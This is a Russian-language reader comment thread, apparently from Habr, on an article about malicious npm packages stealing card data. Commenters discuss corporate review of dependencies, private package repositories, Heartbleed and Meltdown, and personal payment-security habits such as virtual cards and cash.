Комментарии 325
Почти с самого начала статьи предвидел содержимое «Серьёзного разговора»
Спасибо за перевод! Возможно пришло время создания платного пакетного репозитория с ручной проверкой пакетов, вроде AppStore, и более высоким уровнем доверия. Остается надеяться, что на его страницах оплаты или авторизации не будет сидеть ничего подобного из статьи =)
В серьезных компаниях (к счастью, я работаю именно в такой) делается проще — ставится приватный репозиторий, туда копируются пакеты из публичного, но изначально доступ заблокирован для всех, пока их не проверит служба ИБ, где работают довольно умные люди.
После того как пакет проверен — он допускается в QA, но на этапе выпуска в Prod это еще раз анализируется в различных моментах, вплоть до открытия кода на Х% реальных юзеров, чтобы протестировать в условиях максимально близких к боевым
На любом этапе анализируется весь трафик, который идет на/из устройства и в случае подозрений — делается rollback
После того как пакет проверен — он допускается в QA, но на этапе выпуска в Prod это еще раз анализируется в различных моментах, вплоть до открытия кода на Х% реальных юзеров, чтобы протестировать в условиях максимально близких к боевым
На любом этапе анализируется весь трафик, который идет на/из устройства и в случае подозрений — делается rollback
А можете поделиться, на базе чего поднимали приватный репозиторий?
Кстати да, вопрос к jbaruch, умеет Artifactory подменять npm ?
Раньше использовали www.npmjs.com/package/sinopia, сейчас Artifactory платную, т.к. интеграция с AD, групповые политики и много чего еще вкусного
sinopia имеет проблемы с пакетами вида @somescope/somepackagename
Разработчики забили на поддержку.
Вот живой и поддерживаемый форк verdaccio (1700+ звёзд)
nexus repository
Не знаю на чем у них, но мы используем этот. Пока негативных моментов не заметили.
Не знаю на чем у них, но мы используем этот. Пока негативных моментов не заметили.
А как проверяется? Как служба ИБ проверяет npm-пакеты?
Ну так банальный core review и сборка из исходников, чтобы не прилетело бинарников непонятных
При первом добавлении пакета — довольно сложная процедура, т.к. нужно изучить много кода, при апдейтах — много проще — посмотреть diff'ы
ИБ в данном случае — это не только security engineer, но еще и неплохие программисты с практическим опытом в bounty
При первом добавлении пакета — довольно сложная процедура, т.к. нужно изучить много кода, при апдейтах — много проще — посмотреть diff'ы
ИБ в данном случае — это не только security engineer, но еще и неплохие программисты с практическим опытом в bounty
Ну так банальный core review и сборка из исходников
Это не даст 100% гарантии, что в коде не содержится вредоносных фрагментов.
Типичный пример: ослабление open source критографических библиотек спецслужбами. Никто об этом годами даже не догадывался, пока об это не сообщили явно.
Ну паранойя, паранойей, но всё должно быть в балансе
Известные уязвимости проверяются, в том числе пакеты/версии в которых они найдены, но всё проверить невозможно, это все прекрасно понимают
В ИБ всегда баланс рисков и затрат на их снижение. И задача прежде всего именно снизить риски, т.к. любой безопасник понимает, что полностью их исключить нельзя (последний пример с уязвимостью в процессорах — явный пример, без всякой теории заговора спецслужб)
Известные уязвимости проверяются, в том числе пакеты/версии в которых они найдены, но всё проверить невозможно, это все прекрасно понимают
В ИБ всегда баланс рисков и затрат на их снижение. И задача прежде всего именно снизить риски, т.к. любой безопасник понимает, что полностью их исключить нельзя (последний пример с уязвимостью в процессорах — явный пример, без всякой теории заговора спецслужб)
Просто из праздного интереса: а если в пакете обнаружен зловредный код? Пакет отбрасывается как ненадежный (что влечет за собой изменения в проекте, так как надо чем-то заменить функционал выброшенного модуля) или делается свой внутренний фикс уязвимости?
По разному. В любом случае пишется баг-репорт разработчику. Если команда, которой нужен был компонент не нашли альтернативы или фикс тривиальный, то после внутреннего тестирования помимо баг репорта будет еще и пулл-реквест
Но иногда или пакет плохо поддерживается (или вообще разработку забросили), или же фикс нетривиальный и требует времени чуть ли не больше, чем разработка фичи/функционала с нуля — в таком случае скорей всего будут искать альтернативу или писать руками
Но иногда или пакет плохо поддерживается (или вообще разработку забросили), или же фикс нетривиальный и требует времени чуть ли не больше, чем разработка фичи/функционала с нуля — в таком случае скорей всего будут искать альтернативу или писать руками
Изменения в проекте не влечет, так как проект как правило не может зависить от того, что еще не прошло ревью. Но конкретная судьба зависимости может быть разной, ответ nox1725 вполне исчерпывающий.
Эти ослабления делаются не явным для не математика образом, и прогеры их в упор не видят и это нормально…
… а сторонний функционал визуально очевиден, о чём и речь в посте, в git одно, а в сборке другое
… а сторонний функционал визуально очевиден, о чём и речь в посте, в git одно, а в сборке другое
Именно! Помимо зловредных вещей некоторые вполне себе крупные компании имеют в своем софте код, который отправляет «обезличенные» аналитические данные о работе системы. При этом в open source версии (в коде) этого участка нет, а в бинарном пакете от вендора есть
Конечно в ToA или в лицензии об этом прописано, но если нам не хочется, чтобы что-то куда-то отправлялось, — мы просто собираем из сорцов
Это даже не уязвимость, это сбор данных пользователя, например. Или авто-баг репорты.
Конечно в ToA или в лицензии об этом прописано, но если нам не хочется, чтобы что-то куда-то отправлялось, — мы просто собираем из сорцов
Это даже не уязвимость, это сбор данных пользователя, например. Или авто-баг репорты.
Слепая сборка из исходников может быть еще опаснее: чужой код запускается на ваших серверах, причем возможно еще и на тех которые имеют доступ выкладывать что-то на прод.
Вроде бы я написал core review & local building, как вы думаете, что идет сначала? :-)
И конечно код ребята из ИБ собирают в песочницах (докер/виртуалки), потом тестируют, потом только его отправляют на сборку в центральный Jenkins/TeamCity и оттуда в репу
И конечно код ребята из ИБ собирают в песочницах (докер/виртуалки), потом тестируют, потом только его отправляют на сборку в центральный Jenkins/TeamCity и оттуда в репу
Какой вообще смысл собирать на центральном сервере однократно?
Не однократно, а при изменении версии.
Мы же тут вроде о зависимостях говорим. Пока зависимость не нуждается в обновлении, её собранный артефакт не нуждается в повторной сборке.
При наличии CICD пересобирается только то, что требует пересборки
Мы же тут вроде о зависимостях говорим. Пока зависимость не нуждается в обновлении, её собранный артефакт не нуждается в повторной сборке.
При наличии CICD пересобирается только то, что требует пересборки
То есть при изменении версии новая версия руками уже не проверяется? И чужой код автоматически исполняется на общем билд-сервере?
Нет же, наоборот, проверяется так же, только уже смотрятся диффы, потом собирается в изолированном окружении и только потом уходит апдейт на основной билд сервер
То есть проверка апдейтов делается так же как и любого другого кода, разве что быстрее, т.к. как правило объем изменений не такой большой (диффы)
То есть проверка апдейтов делается так же как и любого другого кода, разве что быстрее, т.к. как правило объем изменений не такой большой (диффы)
К слову сказать, код, который пишется в продукт так же проверяется, как и зависимости. Без такой проверки в прод он не уйдет
Посыл ведь прост.«Какими бы вы умными не были у вас всегда может быть плохой день».
Что-то не было замечено доскональных платных аудитов OpenSSL, а ведь позволю себе заметить, что OpenSSL пользовались не только бедные студенты, но и уважаемые софтварные компании, а они пишут код в продукт, который проверяется…
Oh, sh~, видимо не проверяется, по крайней мере зависимости)
Oh, sh~, видимо не проверяется, по крайней мере зависимости)
А FIPS относится к «доскональному»? И если нет — то почему?
Только почему-то FIPS 140-2 случился значительно позже маленького случая с Heartbleed, когда корпы поняли, что неплохо бы SSL библиотеку и проверить, а не просто использовать «как есть», в то время как автор перебивался случайными средствами и едва мог оплатить счета за электричество и железо для тестирования своей библиотеки…
Тот же RHEL делает аудит кода. Бесплатный, только плата за поддержку. Тот же GRSecurity тоже делает. Это из тех кто «на устах»
Крупные компании тоже проводят свой аудит, особенно если работают в тех сферах, где защита информации — основная задача (финансы, крипта, всякий enterprise)
Крупные компании тоже проводят свой аудит, особенно если работают в тех сферах, где защита информации — основная задача (финансы, крипта, всякий enterprise)
Ага, сколько лет проверялся OpenSSL?
habrahabr.ru/sandbox/100878
Этой ошибке много лет и это в пакете за которым следят миллионы глаз.
habrahabr.ru/sandbox/100878
Этой ошибке много лет и это в пакете за которым следят миллионы глаз.
Это баг, но это не уязвимость. Любой софт содержит баги, прям вот любой. Делать аудит на баги и делать работу QA другой компании (или open source проекта) — слишком затратно, ради просто включения в проект.
Если баг проявляется у вас лично — пишите баг репорт и его поправят или сразу пулл реквест, если вы у себя его поправили уже. Если баг вам не мешает спать по ночам, то смело игнорируйте, если он не несет угрозы ИБ
Если баг проявляется у вас лично — пишите баг репорт и его поправят или сразу пулл реквест, если вы у себя его поправили уже. Если баг вам не мешает спать по ночам, то смело игнорируйте, если он не несет угрозы ИБ
Но я еще не встречал, что бы в основе уязвимости лежал на баг, а закладка.
Поправьте меня, если вдруг что то не заметил
Именно баги превращаются в уязвимости, увы
Поправьте меня, если вдруг что то не заметил
Именно баги превращаются в уязвимости, увы
Хотя бы вот habrahabr.ru/post/200686
А еще рекомендую почитать www.csoonline.com/article/3157377/application-development/report-attacks-based-on-open-source-vulnerabilities-will-rise-20-percent-this-year.html (на английском), очень интересная статья по этому поводу. Думал перевести на Хабр, но не уверен, что найду время
А еще рекомендую почитать www.csoonline.com/article/3157377/application-development/report-attacks-based-on-open-source-vulnerabilities-will-rise-20-percent-this-year.html (на английском), очень интересная статья по этому поводу. Думал перевести на Хабр, но не уверен, что найду время
Не совсем убедили.
Алгоритм то заявленные требования обеспечивал и то, что при определенных параметрах нет секретности, так и кривые есть сингулярные.
Есть рекомендованные ГОСТ параметры кривой, так и на веру их и принимают все.
И тот же NIST всегда указывал, что параметры a,b,… выбраны по критерию простоты вычислений.
В биткойне так вообще a=0 ( проще некуда) и что-то мне подсказывает, что не спроста ))
Алгоритм то заявленные требования обеспечивал и то, что при определенных параметрах нет секретности, так и кривые есть сингулярные.
Есть рекомендованные ГОСТ параметры кривой, так и на веру их и принимают все.
И тот же NIST всегда указывал, что параметры a,b,… выбраны по критерию простоты вычислений.
В биткойне так вообще a=0 ( проще некуда) и что-то мне подсказывает, что не спроста ))
Сам живу в серьезной компании. Думаю, по описанному сценарию мы бы ничего не отловили. По крайней мере сразу. Только с логов view у клиентов, и то, если бы они сами к нам обратились с проблемой. А сами не поймали бы, т.к. у нас все интеграционные тесты запускаются на машинах с локальных адресов или по локальному имени машины, что легко отследить и проверить. Т.е. те кто пишут, что найдет СБ или мы сами тестами — ребята, по-моему вы оптимисты.
А может проще CSP правильно настроить?
мне даже стало страшно, пока я это читал)))
Если еще не читали, то советую вам почитать про уязвимости Meltdown/Spectre от этого действительно станет страшно видя то, как как грибы появляются реализации на Github'е и судорожные попытки закрыть уязвимости софтверно с соответствующим проседанием производительности, особенно в серверном сегменте (сервера Nex Machine для примера получили проседание в 5ть раз).
мне кажется несколько преувеличивают.
что б поймать кусок памяти с паролем надо перелопатить условно половину оперативки(в среднем).
скорость доступа к произвольной памяти там неахти(да и несовсем к произвольной)
тоесть уязвимость конечно сурьезная, но так просто не заюзаешь.
что б поймать кусок памяти с паролем надо перелопатить условно половину оперативки(в среднем).
скорость доступа к произвольной памяти там неахти(да и несовсем к произвольной)
тоесть уязвимость конечно сурьезная, но так просто не заюзаешь.
У серверов Nex Machine нагрузка была 5%, а стала 25%, проседания там не должно было быть.
Не понимаю хайпа Meltdown. Страшно, что из-за этой фигни патч ОС делает почти весь софт медленнее.
Если бы плодились реально рабочие реализации, было бы интересно. А так — тупо очередной «хайп».
А вы что имеете в виду? Что кто-то сделает «рабочую реализацию» и потом сразу напишет об этом на хабр?
Если вы не знаете о какой-то реализации то тут возможно 2 случая:
* ее не существует
* вы о ней не знаете
Если вы не знаете о какой-то реализации то тут возможно 2 случая:
* ее не существует
* вы о ней не знаете
При чём тут Хабр? Человек написал что его беспокоят плодящиеся «как грибы» реализации атаки, а я лишь обратил его внимание, что абсолютное большинство этих реализаций ничего путного из себя не представляют.
А ситуацию, при которой кто-то что-то расковырял и тайно этим пользуется, ни я, ни автор комментария, на который я отвечал, никак не обсуждали — зачем вы это тут за уши притягиваете я не понимаю.
А ситуацию, при которой кто-то что-то расковырял и тайно этим пользуется, ни я, ни автор комментария, на который я отвечал, никак не обсуждали — зачем вы это тут за уши притягиваете я не понимаю.
А мне не стало страшно, т.к. я никогда не использую в веб-проектах сторонний код, от слова «вообще» :)
Прошу прощения, но боюсь что у вас просто недостаточно воображения для паранойи.
Если вы пишете веб-приложения, то, скорее всего, вы их на чем-то хостите? Может быть вы слышали про apache? Или, может быть, вы используете серверные интерпретируемые языки типа Python/PHP/etc? Может быть вы точно знаете что делает каждая строчка в их исходном коде?
На самом деле стоит только Линусу Торвальдсу захотеть намайнить немного криптовалюты и ядро linux неуловимо изменится… Конечно, там не он один все ревьюит, но тем не менее, уровень паранойи можно включить на максимум при желании…
Если вы пишете веб-приложения, то, скорее всего, вы их на чем-то хостите? Может быть вы слышали про apache? Или, может быть, вы используете серверные интерпретируемые языки типа Python/PHP/etc? Может быть вы точно знаете что делает каждая строчка в их исходном коде?
На самом деле стоит только Линусу Торвальдсу захотеть намайнить немного криптовалюты и ядро linux неуловимо изменится… Конечно, там не он один все ревьюит, но тем не менее, уровень паранойи можно включить на максимум при желании…
Помимо всего этого есть другие ЯП со своими пакетными менеджерами. Хороший год.
Всё от ПО до железа — дыра безопасности. Ну хоть что-то в безопасности.
Вообще, дыр, судя по всему, огромное количество. Страшно подумать, что будет, если это начнут ковырять всерьёз. Меня, в своё время, впечатлило вот это (перекликается с темой статьи, кстати).
Но минификация только в потенциально клиентском коде.
Зачем все эти сложности с контролем кода, когда можно запросто иметь выделенную банковскую карточку только для оплаты через интернет и пополнять её только перед оплатой? Всё остальное время на ней нулевой остаток. И пусть этот ноль воруют сколько влезет. Это же очень просто — отдельная карта для интернета. И всё.
Потому, что это могут быть не только данные кредиток, а все, что угодно. Медицина, пароли к сервисам, да мало ли что.
А переводить вы на неё деньги будете в веб-банкинге, написанном модными-стильными-современными js-кодерами…
Вроде бы есть достаточно провайдеров виртуальных карт, счета которых можно пополнить просто в терминале… Везде, где я жил в своём, пусть и достаточно крупном городе, терминалы были в шаговой доступности, от силы потратишь десяток минут и получишь деньги на счету, и сразу же тратишь.
Может это деформация, ввиду образования в области компьютерной безопасности, но немалая часть моих знакомых делает точно так же…
Может это деформация, ввиду образования в области компьютерной безопасности, но немалая часть моих знакомых делает точно так же…
О, получается ещё веселее алгоритм. чтобы что-то оплатить с виртуальной карты:
1. Выйти на улицу, найти банкомат своего банка, чтобы снять деньги с зарплатой карточки.
2. Чертыхнуться, потому что банкомат не работает и пойти в другое отделение.
3. Отстоять очередь.
4. Снять нужную сумму.
5. Найти терминал, чтобы внести деньги на виртуальную карту.
6. Чертыхнуться, потому что терминал отказывается принимать последнюю пятитысячную купюру.
7. Вернуться к банкомату, отстоять очередь, снять ещё 5 тысяч рублей.
8. Вернуться к терминалу.
9. Дойти до дома.
Да, ещё не забыть про комиссии.
1. Выйти на улицу, найти банкомат своего банка, чтобы снять деньги с зарплатой карточки.
2. Чертыхнуться, потому что банкомат не работает и пойти в другое отделение.
3. Отстоять очередь.
4. Снять нужную сумму.
5. Найти терминал, чтобы внести деньги на виртуальную карту.
6. Чертыхнуться, потому что терминал отказывается принимать последнюю пятитысячную купюру.
7. Вернуться к банкомату, отстоять очередь, снять ещё 5 тысяч рублей.
8. Вернуться к терминалу.
9. Дойти до дома.
Да, ещё не забыть про комиссии.
Эмм, видимо я совершенно в своём(параноидальном?) мире живу, у меня нет денег на картах, у меня всё, чем я в ближайшее время собираюсь пользоваться — в наличке, причём с неплохим таким запасом на случай непредвиденных обстоятельств(включая непринимаемые терминалами купюры)…
С банкоматами, их поиском и прочими чудесами вида «у нас нет связи с банком»(а бывают и похлеще, уж поверьте), я не сталкиваюсь, и окружающим не рекомендую… Да и ваша цепочка показывает, что банкомат стоит из этого алгоритма выбросить, как наиболее затратную по времени составляющую)
0. Найти терминал(если вдруг ещё не запомнил, где терминалы около твоего дома :)).
1. Дойти до терминала
2. Внести деньги на виртуальную карту(даже с выбором другой купюры из кошелька — займёт не больше пары минут).
3. Дойти до дома.
Причём первый и последний пункт зачастую отпадают, так как можно посетить терминал по дороге от работы до дома, или наоборот…
С банкоматами, их поиском и прочими чудесами вида «у нас нет связи с банком»(а бывают и похлеще, уж поверьте), я не сталкиваюсь, и окружающим не рекомендую… Да и ваша цепочка показывает, что банкомат стоит из этого алгоритма выбросить, как наиболее затратную по времени составляющую)
0. Найти терминал(если вдруг ещё не запомнил, где терминалы около твоего дома :)).
1. Дойти до терминала
2. Внести деньги на виртуальную карту(даже с выбором другой купюры из кошелька — займёт не больше пары минут).
3. Дойти до дома.
Причём первый и последний пункт зачастую отпадают, так как можно посетить терминал по дороге от работы до дома, или наоборот…
Видимо вы не ездите ни в другой город, ни за границу.
И, конечно же, терминалы вы выбираете именно те, в которых знаете что софт стоит точно после code review и не содержит ничего из npm-пакетов.
И, конечно же, терминалы вы выбираете именно те, в которых знаете что софт стоит точно после code review и не содержит ничего из npm-пакетов.
При поездке в другой город, и тем более заграницу — на карточки надеяться это ещё интереснее, чем в своём городе) Банальная ситуация — у нескольких тысяч человек заблокировали карточки по причине того, что на банкомате нашли скиммер, который поставили неизвестно когда… Соответственно все, кто за последние N месяцев банкоматом пользовались должны были ждать пару недель до выпуска новой карты, либо идти в банк и получать деньги из кассы с паспортом.
А теперь представьте аналогичную ситуацию, только с вариантом, что вы находитесь заграницей?) Сколько головной боли получите? В другом городе, где нет отделений того же банка, хоть и есть банкоматы — тоже ситуация не лучше…
На прошивку терминала его проблемы мне побоку — если я внёс деньги, получил чек, то как показывает практика — вопросы с не дошедшим, или дошедшим по неверному адресу платежом решаются через техподдержку в течении пары суток… Неприятно, но не страшно — зависшие несколько тысяч на конкретную покупку это не такая уж большая проблема.
А теперь представьте аналогичную ситуацию, только с вариантом, что вы находитесь заграницей?) Сколько головной боли получите? В другом городе, где нет отделений того же банка, хоть и есть банкоматы — тоже ситуация не лучше…
На прошивку терминала его проблемы мне побоку — если я внёс деньги, получил чек, то как показывает практика — вопросы с не дошедшим, или дошедшим по неверному адресу платежом решаются через техподдержку в течении пары суток… Неприятно, но не страшно — зависшие несколько тысяч на конкретную покупку это не такая уж большая проблема.
Ну мы поняли, надо носить в кэше, причем с собой. В разных валютах, зашитых во всю одежду.
Почему ваш параноик не боится домушника, зашедшего в дом, но боится того что вдруг банк заблокирует карты всех своих клиентов?
Лично мне кажется логичной принцип среднего — сумма на 2-3 дня наличкой хранится на руках/дома, а остальное — на карте, на депозите или во вкладах.
Почему ваш параноик не боится домушника, зашедшего в дом, но боится того что вдруг банк заблокирует карты всех своих клиентов?
Лично мне кажется логичной принцип среднего — сумма на 2-3 дня наличкой хранится на руках/дома, а остальное — на карте, на депозите или во вкладах.
Про домушника тут лишнее, я про хранение всех сбережений в доме ничего и близко не писал, да и техники в современном доме на куда большую сумму, чем лежит наличности…
Ниже в комментариях я уже примерно описал, что и как должно храниться в моём понимании, и ответ на ваш вопрос там тоже есть, причём практически совпадающий с вашей версией, за небольшими исключениями. Основная часть должна быть именно «на депозите или во вкладах», но никак не на карте. Сумма на 2-3 дня должна быть в кошельке, а на ближайшие 3-4 недели дома, на случай форс-мажора с карточками, банками, счетами и т.д…
Ниже в комментариях я уже примерно описал, что и как должно храниться в моём понимании, и ответ на ваш вопрос там тоже есть, причём практически совпадающий с вашей версией, за небольшими исключениями. Основная часть должна быть именно «на депозите или во вкладах», но никак не на карте. Сумма на 2-3 дня должна быть в кошельке, а на ближайшие 3-4 недели дома, на случай форс-мажора с карточками, банками, счетами и т.д…
В вашем параноидном мире Бирюлева нету? В переходе по башке не дают с отбором всей налички? У нас вот дают. Отделываемся потерей мелочью, потому как всё на карточках.
Шансы получить по башке примерно одинаковые, что при наличии денег, что без них… Вообще все деньги что есть, я, разумеется, не таскаю с собой круглосуточно — только на выбранные покупки +1-2к на возможные доп. расходы… По голове и у нас бьют, но от того, чтобы не ударили по голове, как и от того, чтобы не сняли деньги с карты — есть свои способы защиты)
То есть у вас всегда при себе имеются наличные деньги на любую покупку?
А где вы держите накопления?
А где вы держите накопления?
То есть у вас всегда при себе имеются наличные деньги на любую покупкуне на любую, а только на планируемую, если же планируемых нет — есть пара тысяч на мелкие покупки или возникшие форсмажоры…
Накопления — поверьте, не под подушкой, не в кошельке, и даже не в кладовке, в банке с крупой) Но и доступа у человека, который утащил у меня пароль от онлайн банкинга к ним тоже нет, для их получения как минимум нужны документы и моё личное присутствие)
Дождался своей очереди на пятом банкомате, а там скиммер )
Перевести с карты банка на виртуальную. Онлайн. Без комиссии.
просто в терминале…
интерфейс которого написан
модными-стильными-современными кодерами…
Круг замкнут, выхода нет.
Как минимум некоторые терминалы (сам видел) работают как internet explorer, в котором открыта нужная страница. То есть проблема никуда не делась
Не знаю как в России (СНГ), но в США тут есть услуга генерации № карточки которая действительна до Х даты/времени или же до первой оплаты, можно через телефонное приложение сгенерировать. Не все банки поддерживают, это минус.
В России такое тоже есть например у Альфа-банка (правда с ограничениями — срок действия — месяц-два, потребуется И доступ к веб-сайту И к телефону привязанному ну и денег спишут немного за выпуск).
Хотелось бы конечно нечто вроде ЮАР'вского root.co.za (где вообще можно дописать свой скрипт(!) в процессинг)
Хотелось бы конечно нечто вроде ЮАР'вского root.co.za (где вообще можно дописать свой скрипт(!) в процессинг)
\\выделенную банковскую
… и пополнять её, вводя данные в онлайн банке, или через банкомат, в котором тоже может быть этот или другой вредоносный код. Ну или по СМС, которые вообще лучше отключить. А потом покупаешь, на ней какой-нибудь, например, лицензионный ключ, который приходит на почту, от которой тоже надо вводить пароль, и который надо активировать в личном кабинете, у которого тоже есть пароль, и, возможно вредоносный.
Но а если серьезно — сам, так и делаю, держа для покупок отдельную карту с небольшой суммой, пополняя её если надо оплатить что-то дорогое. А с других карт излишки перевожу на счет.
… и пополнять её, вводя данные в онлайн банке, или через банкомат, в котором тоже может быть этот или другой вредоносный код. Ну или по СМС, которые вообще лучше отключить. А потом покупаешь, на ней какой-нибудь, например, лицензионный ключ, который приходит на почту, от которой тоже надо вводить пароль, и который надо активировать в личном кабинете, у которого тоже есть пароль, и, возможно вредоносный.
Но а если серьезно — сам, так и делаю, держа для покупок отдельную карту с небольшой суммой, пополняя её если надо оплатить что-то дорогое. А с других карт излишки перевожу на счет.
Вы чтобы её пополнить ногами в банк ходите или всё же вводите логины-пароли-номера на каком-то сайте?
Я в мобильном приложении ввожу, например. И то не номер карты, а отпечаток пальца. Ещё вопросы?
Уверены, что в мобильном приложении нету этих проблем? Да еще и отпечаток пальца, который не поменять
Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте. Про отпечаток пальца что-то не понял — в каком смысле не поменять?
Я могу отличить нативное приложение от вебвью, спасибо. Я не говорил, что сторонние компоненты в мобильных приложениях не используются — я всего лишь говорю, что организовать такие проблемы в мобильном сильно сложнее.
Про отпечаток ересь какая-то. Какая ещё утечка, его хардварно поддерживают устройства. Приложение до него вообще доступа не имеет. Учите матчасть.
Достаточно украсть ваш мобильник, а уж отпечатки ваши будут ровным слоем по нему везде. Делается фотография, а потом силиконовая форма отливается с формой отпечатка и все. Гуглить лень, но авторизация по отпечатку пальца скомпрометирована уже несколько лет назад. Причем разными способами.
Есть. Проводили ли вы аудит этого мобильного приложения? Или же даже не видели его исходников? Читали ли вы про успешную подделку отпечатка пальца по фотографии?
Есть ещё такое понятие как технический овердрафт. Карта, даже будучи 100% не кредитной в определённых случаях МОЖЕТ все-таки уйти в минус. Потом всеравно будете вынуждены этот минус погасить.
А можете подробнее объяснить, какие это случаи, и что нужно сделать, чтобы гарантированно в них не попасть, или хотя бы вероятность их наступления уменьшить?
Ну например вы покупали что-то на сайте с карточки в нац валюте в долларах и должны заплатить 100 долларов. По схеме расчетов сначала сумма блокируется по курсу на момент блокировки. А спустя несколько дней — списывается, но уже по курсу на момент списания. Если курс списания выше, чем курс блокировки — спишется дополнительная сумма с карты, если денег не будет — возникнет технический овердрафт. К.т. всякие банковские комисии за обслуживание (особенно связаные с расчетами между банками — сняли в банкомате чужого банка, например) в не особо клиенто-ориентированных банках могут уходить в технический овердрафт…
Правда вариантов, когда технический овердрафт может возникнуть на существенную сумму я придумать не могу, кроме случаев двойного списания суммы, но такие варианты обычно решаются оспариванием транзакции.
Правда вариантов, когда технический овердрафт может возникнуть на существенную сумму я придумать не могу, кроме случаев двойного списания суммы, но такие варианты обычно решаются оспариванием транзакции.
А ещё через оффлайн-транзакции можно уйти в минус.
Это когда оплатил в магазине сейчас, баланс на карте не изменился, смс не пришла, а реально списание произошло через 1-2 дня.
Это когда оплатил в магазине сейчас, баланс на карте не изменился, смс не пришла, а реально списание произошло через 1-2 дня.
Более того, забавные ситуации бывают и в онлайне. Я как-то получил минус, который не вкладывался в возможную разницу курсов в несколько десятков раз. Оказалось, гугл не успел подтвердить транзакцию в течении 8 дней и банк вернул деньги (снял блокировку).
Забавно, но подтверждение пришло в скором времени после очередного использования карты и суппорт банка минут 15 разбирался почему вдруг образовался овердрафт.
Забавно, но подтверждение пришло в скором времени после очередного использования карты и суппорт банка минут 15 разбирался почему вдруг образовался овердрафт.
Был случай, когда из-за двойного списания при оплате путёвки на карте возник технический овердрафт больше 100к рублей. Банк хоть и пообещал «разобраться», но штраф за перерасход все равно начислил. Спустя выходные деньги «пришли» назад, но уже по другому курсу, из-за чего потерялась еще часть.
По схеме расчетов сначала сумма блокируется по курсу на момент блокировки.— а кто за эту схему расчётов ответственный, банк? конкретный интернет-магазин? или это общепринятая практика?
В онлайне вообще не сталкивался с ситуациями, когда после расчётов деньги на счету всё ещё оставались…
Процессинговая система (Visa, MasterCard, ...). Я сейчас быстро какое-то подтверждение не смог найти, но уверен что в при достаточном приложении сил в общих чертах эту схему можно найти.
Заблокированная сумма обычно отображается именно как списанная. Некоторые банки в выписках могут указывать дату операции (блокировки) и списания денег — она может отличаться.
Заблокированная сумма обычно отображается именно как списанная. Некоторые банки в выписках могут указывать дату операции (блокировки) и списания денег — она может отличаться.
Да банально: получил зарплату, снял всё, а потом списались деньги за годовое обслуживание — вот и минус на «дебетовке». Это личный мой случай, потом еще из банка звонили и спрашивали, откуда у меня минус, пришлось мне им объяснять откуда. Извинились в конце разговора :)
Банковские начисления всякие. Альфа-банк раньше с нулевым счетом без операций просто держали его на ноле — сейчас каждый месяц увеличивают минус на нем, техподдержка разумеется отвечает что все как раньше.
Кроме номера карты, конечно, другие данные тоже воровать можно? Пароли? Номер телефона?
Затем, что контролем кода занимаются одни люди, а оформлением на себя дополнительной карты — совсем другие.
И когда с вашего сайта радостно начнет утекать sensitive data пользователей, ответ «Да завели бы себе отдельную карту и всё» их вряд ли устроит.
Не говоря уж о том, что платежные данные — не единственная ценная информация, которую оставляют пользователи на сайтах.
Это точно так же могут быть реквизиты аккаунтов, сканы документов, приватный контент, whatever.
И в итоге попытка отказаться от использования всего этого в интернете сводит всё к п.1 из статьи выше.
upd: Я буду обновлять ветку комментов каждый раз, перед там как что-то постить.
И когда с вашего сайта радостно начнет утекать sensitive data пользователей, ответ «Да завели бы себе отдельную карту и всё» их вряд ли устроит.
Не говоря уж о том, что платежные данные — не единственная ценная информация, которую оставляют пользователи на сайтах.
Это точно так же могут быть реквизиты аккаунтов, сканы документов, приватный контент, whatever.
И в итоге попытка отказаться от использования всего этого в интернете сводит всё к п.1 из статьи выше.
upd: Я буду обновлять ветку комментов каждый раз, перед там как что-то постить.
Потому что это никак не зафорсированно. И на n пользоватей с выделенной картой будет k пользователей с зарплатной. :/
Эта статья в большей стетепни для разработчиков. Для пользователей достаточно понимать, что ничто не мешает какому-нибудь интернет-магазину ложечек просто переть ваши данные, без всех этих хитростей.
Поможет ли блокировка исходящего трафика по всем направлениям, кроме разрешённых? Вроде бы тогда вирус будет работать, но не сможет отправить украденные данные своему хозяину, да?
uMatrix ?
Отправит на CDN который используется тем же сайтом для работы и является разрешённым…
Сначала я засомневался (у меня все по умолчанию запрещено), посмотрел в мои разрешения: alicdn.com, dxcdn.com, и т.п. И как он туда отправит? Посмотрел что на ebay… ebaydesc.com, ebaydesc.com, ebayrtm.com, ebaystatic.com, и подумал что если бы кто-то зарегистрировал ebaycdn.com то я бы и его разрешил пачкой тут же.
Заголовок спойлера
А я думал что я параноик.
А я думал что я параноик.
)) Просто — не говори машине, что у тебя есть кредитка. Только кэш, сорян чувак. Комп — для фильмов книг и игр.
Вы точно в 2018 году живёте?
А игры, фильмы и книги на ПК покупать в сетевом магазине?
Виртуальная карта от Qiwi или чего-нибудь подобного. Невозможно потерять денег больше, чем было физически запихано кэша в терминал.
А откуда вы деньги возьмете?
Снимете в банкомате? :)
Снимете в банкомате? :)
Из тумбочки. В тумбочку тоже я кладу.
Завидую тем, у кого есть неиссякаемая тумбочка с деньгами.
Остальные вынуждены зарабатывать, а работодатель почему-то не хочет иметь физическую кассы и предпочитает зарплатные карты.
Остальные вынуждены зарабатывать, а работодатель почему-то не хочет иметь физическую кассы и предпочитает зарплатные карты.
А работник предпочитает то, что предпочитает.
Согласно пункту 1 статьи 421 Гражданского кодекса РФ, граждане и юридические лица свободны в заключении договора. Понуждение к заключению договора не допускается, за исключением случаев, когда обязанность заключить договор предусмотрена Гражданским кодексом РФ, законом или добровольно принятым обязательством. Следовательно, работодатель не может обязать работника заключить договор банковского счета для перечисления заработной платы.Источник: http://www.tkodeksrf.ru/ch-3/rzd-6/gl-21/st-136-tk-rf
Конечно. Он может просто не взять вас на работу.
Идёт в жопу, значит. Может, он потом захочет зарплату вообще не платить. По ТК обязан, но вот захочет и всё.
Классно что вы можете выбирать. Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.
Вы попадаете в 0.001% тех, кому указанная здесь угроза не угроза.
Классно, таким людям я тоже завидую, наравне с теми, у кого есть тумбочка.
Вы попадаете в 0.001% тех, кому указанная здесь угроза не угроза.
Классно, таким людям я тоже завидую, наравне с теми, у кого есть тумбочка.
Сказал же про тумбочку, что в неё тоже я кладу. Она не сама варит.
Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.
Рабовладельческий строй какой-то.
Мы с вами уже общались, так вот, когда я был инженер-программистом в МУПе, мне сказали, или карточка (причем вполне определенного банка, что вообще ни в какие ворота), или пшел вон прямо сейчас, и нам в общем-то все равно, что там произойдет с тем барахлом, что ты поддерживаешь в рабочем состоянии, когда я намекнул, что я единственный, кто остался и хоть немного разбирается в этом барахле.
